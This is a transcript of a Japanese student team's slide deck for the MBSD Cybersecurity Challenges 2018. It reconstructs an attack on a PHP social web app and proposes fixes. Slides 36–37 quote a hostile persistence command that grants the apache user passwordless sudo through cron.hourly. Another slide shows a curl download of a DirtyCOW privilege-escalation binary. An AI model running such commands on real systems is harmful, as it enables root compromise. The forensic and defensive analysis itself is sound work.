Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Team なんでもいい - MBSD2018

Avatar for gomafu04 gomafu04
December 12, 2018

Team なんでもいい - MBSD2018

MBSD Cybersecurity Challenges 2018
Team なんでもいい Presentation Slide

Avatar for gomafu04

gomafu04

December 12, 2018

Other Decks in Technology

Transcript

  1. チームメンバー ◆中山 怜也(なかやま れいや) ◆河原 慎之介(かわはら しんのすけ) ツールを用いた脆弱性の調査 PHPのソースコード解析 サーバサイド

    ◆竹﨑 友哉(たけざき ともや) ◆本田 翔太郎(ほんだ しょうたろう) ツールを用いた脆弱性の調査 各種ログ解析 4 プログラムサイド
  2. 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日

    SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん ・登録されているユーザアカウント情報 (ユーザ ID、ユーザネーム、性別、生年月日)................. 8件 ・ユーザの日記.............................................................. 33件 ・ユーザのメッセージ................................................... 21件 攻撃者 サーバ サーバ侵入に向けた情報収集 個人情報入手 6
  3. 攻撃者 サーバ /var/www/html/webmix3/ 内 ・index.php ・login.php ・sendmessage.php ・libs.php ・/class/class.php ・/class/User.php

    6件 ソースコードや設定ファイル収集 7 5件 /etc/ 内 ・passwd ・shadow ・hosts ・issue ・/httpd/conf/httpd.conf 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  4. 攻撃者 不正なPHPファイル コマンド su -l 送信 8 ※任意のコマンドを実行するプログラム 9月19日 情報の漏洩

    脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  5. 攻撃者 サーバ 不正なPHPファイルのアップロード 9 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入

    9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  6. 攻撃者 サーバ コマンド送信! 任意のコマンドを用いて サーバ内の操作が可能に!!! ※root 権限は無い 10 9月19日 情報の漏洩

    脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  7. 攻撃者 実行ファイル DirtyCOWの脆弱性 を使用した権限昇格 を行うプログラム 11 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日

    情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  8. 攻撃者 コマンド curl -O http://xxx 送信 12 サーバ サーバを操作し、 実行ファイルを

    ダウンロード!!! 不正なPHPファイル 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  9. サーバ 昇格!!! 13 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日

    root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  10. 攻撃者 サーバ コマンド送信! root 権限で! 任意のコマンドを用いて サーバ内の操作が可能に!!! 14 9月19日 情報の漏洩

    脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  11. 攻撃者 サーバ 15 SSHログインの設定を行い、 PHPファイルを通さずサーバに 直接侵入可能に! SSHログイン! 9月19日 情報の漏洩 脆弱性検査ツール使用

    9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  12. 正規ユーザ サーバ 16 利用者IDとPWの送信 tmp/.z 利用者ID・PW 溜まったら、 ダウンロード..!! 攻撃者 9月19日

    情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  13. 17 不正なスクリプトを埋め込んだ日記 罠にかかれ...!!! 攻撃者 正規ユーザ 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩

    ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  14. 18 /var/www/html/webmix3/ 内 ・register.php ・logout.php ・user.php ・changeprofile.php ・userlist.php ・writediary.php ・help.php

    2件 7件 攻撃者 サーバ ソースコードや設定ファイル収集 /etc/ 内 ・shadow ・group ・redhat-release 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  15. 19 ・ユーザのパスワード................................................. 5件 ・ユーザの日記........................................................ 14件 ・ユーザのメッセージ................................................. 3件 攻撃者 サーバ 個人情報入手

    tmp/.z 利用者ID・PW 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  16. 攻撃者 バックドア用 PHPファイル 20 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入

    9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん ※任意のコマンドを実行するプログラム
  17. 攻撃者 サーバ バックドアのアップロード 21 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日 情報の漏洩 ウェブサーバ侵入

    9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  18. 22 攻撃者 サーバ トップページ改ざん! 改ざん後トップページ 正規ユーザ 9月19日 情報の漏洩 脆弱性検査ツール使用 9月21日

    情報の漏洩 ウェブサーバ侵入 9月22日 root 権限昇格 9月26日 SSHログイン ログインページ改ざん XSS攻撃 9月28日 情報の漏洩 バックドア設置 トップページ改ざん
  19. /var/www/html/webmix3 内 ・index.php ・register.php ・login.php ・logout.php ・user.php ・changeprofile.php ・userlist.php ・sendmessage.php

    ・writediary.php ・help.php ・libs.php ・/class/class.php ・/class/User.php ◇サーバ内の情報◇ 20件 24 /etc/ 内 ・passwd ・shadow ・hosts ・issue ・group ・redhat-release ・/httpd/conf/httpd.conf ソースコードや設定ファイルが漏洩
  20. 1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能

    5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10.sendmessage.php のメッセージ送信の宛先に関する問題 11.user.php のセマンティックURL攻撃に対する脆弱性 12.各画面のcsrfの脆弱性 攻撃者に発見された脆弱性リスト [ 8.2 ] [ 7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ] CVSS v3 評価 (基本評価基準) 26
  21. 侵入に利用された脆弱性リスト CVSS v3 評価 (基本評価基準) 27 1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW

    の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能 5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10.sendmessage.php のメッセージ送信の宛先に関する問題 11.user.php のセマンティックURL攻撃に対する脆弱性 12.各画面のcsrfの脆弱性 [ 8.2 ] [ 7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ]
  22. 侵入に利用された脆弱性リスト CVSS v3 評価 (基本評価基準) 28 [ 8.2 ] [

    7.8 ] [ 7.5 ] [ 6.4 ] [ 6.1 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 5.3 ] [ 4.3 ] 1. MySQLのrootユーザのパスワードが未設定 2. DirtyCOW の脆弱性 3. userlist.php におけるSQLインジェクション 4. 不正な形式のファイルをアップロード可能 5. readdiary.php におけるXSS 6. phpinfo.php が公開されている 7. 存在するユーザにアクセスしようとするとForbidenが表示される 8. 他人の日記を書き換えることが可能 9. readdiary.php のセマンティックURL攻撃に対する脆弱性 10.sendmessage.php のメッセージ送信の宛先に関する問題 11.user.php のセマンティックURL攻撃に対する脆弱性 12.各画面のcsrfの脆弱性
  23. /tmp/.aについて [root@sns tmp]# strings .a | tail -n2 /etc/cron.hourly/0anacron echo

    'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a これによってなんでもできてしまうユーザに -bash-4.1$ echo $USER apache -bash-4.1$ sudo whoami root 36
  24. /tmp/.aについて [root@sns tmp]# cat /etc/cron.hourly/0anacron #!/bin/bash echo 'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a

    /etc/cron.hourlyフォルダとは 一時間毎に実行される自動タスクを配置 37
  25. Webアプリケーション(webmix3)サイド 対処内容 理由 ファイル「webmix3/tmp/.5a566099006d3b60892fb0 91dac8d1bfwebshell.php 」の消去 攻撃者が仕込んだ「バックドア」のファイル。 Webサーバへ命令を送信し、実行させられる。 ファイル「webmix3/tmp/.z」の消去 利用者ID・パスワードを搾取するためのファイル。

    webmix3/tmp 配下に不正にアップロードされたファイルの消 去 攻撃者が調査のため、脆弱性を用いて保存させたファイル。 phpinfo.phpの消去 サーバの設定情報などを攻撃者に与えてしまうファイル。 login.phpの改ざん箇所の消去 利用者ID・パスワードを搾取するため改ざんされたソースコード。 index.htmlの消去 攻撃者が改ざんしたトップページのファイル。 バックアップからindex.phpの復旧 改ざんされたトップページの復旧。 脆弱性リストにて記載した脆弱性への対策 再度同じ攻撃を行なわれないための対策。 暫定的な対処 - サービス再開に向けて 1 42
  26. 暫定的な対処 - サービス再開に向けて 2 サーバサイド 対処内容 理由 MySQLサーバ内のrootユーザに対してパスワードを設定 万が一、攻撃者がMySQLに接続できてしまった場合、容易にrootでアク セスされ、MySQL上で可能なことは何でもできてしまう。

    MySQLデータベースのuserテーブル内で、root@%のレコ ードを削除 運用に不要な権限はできるだけ減らしたほうが良い。 ファイアウォール(iptables)の設定変更 運用に不要なポートが開いている場合、標的にされやすくなってしまう。 /tmp/.aファイルを削除 攻撃者が使用した権限昇格用のプログラム。 MySQLのテーブルに登録された、不正な情報を含む行の削 除 XSS等で不正に登録されてしまったもの。 HTTPアクセスをHTTPSにリダイレクトする HTTP通信では平文でデータを送信するので、IDとパスワード等のログイ ン情報が盗聴されてしまう可能性があるため。 カーネルのアップデート 現在では脆弱性のある古いカーネルを使用しているため。 43
  27. 恒久的な対策 構成面 対処内容 理由 WAFの導入 継続的に、高いレベルのセキュリティを実現できる。 IPSの導入 セキュリティソリューションサービスの利用 運用面 OSやソフトのバージョン管理

    攻撃に使用される脆弱性を減らすことができる。 セキュリティ監査の定期的な実施 運用方法の問題や、ソースコードの脆弱性を発見できる。 定期的にシステム全体の改ざんの有無を調査 改ざんの被害にあった場合でも、被害の拡大を防止できる。 ログ監視の強化 攻撃による致命的な問題の発生前に、対処することができる。 従業員へのセキュリティ教育の徹底 ルールを定め、遵守させるためにセキュリティ意識の向上。 44 MBSDさんのサービスを利用する
  28. 被害を発生・拡大させた原因 • 運営のセキュリティ意識の低さ • 運営の攻撃発見の遅さ • phpinfo();関数があるPHPファイルを見ることができた • MySQLのroot設定が脆弱 ◦

    MySQLサーバ内のrootユーザに対してパスワードが設定されていない ◦ MySQLデータベースのuserテーブル内で、root@%のレコードが存在する • ソースコードが脆弱すぎる • システムのバージョンが古すぎる ◦ CentOS 6のサポートは2020年11月終了 46
  29. 使用したツール ログ解析 Excel 自作したJavaプログラム ヘッダの改ざん burpsuite sqlインジェクション、データベース搾取 sqlmap 脆弱性診断ツール nessus

    vuls open-vas ウェブサイト診断 skipfish nikto ソフトウェア脆弱性データベース CVE Details EXPLOIT DATABASE エクスプロイトキット Metasploit ポートスキャン nmap SPARTA 静的脆弱性検査ツール PHP RIPS 共通脆弱性評価システム ファイル転送 WinSCP ネットワーク・アナライザ・ソフトウェア WireShark 50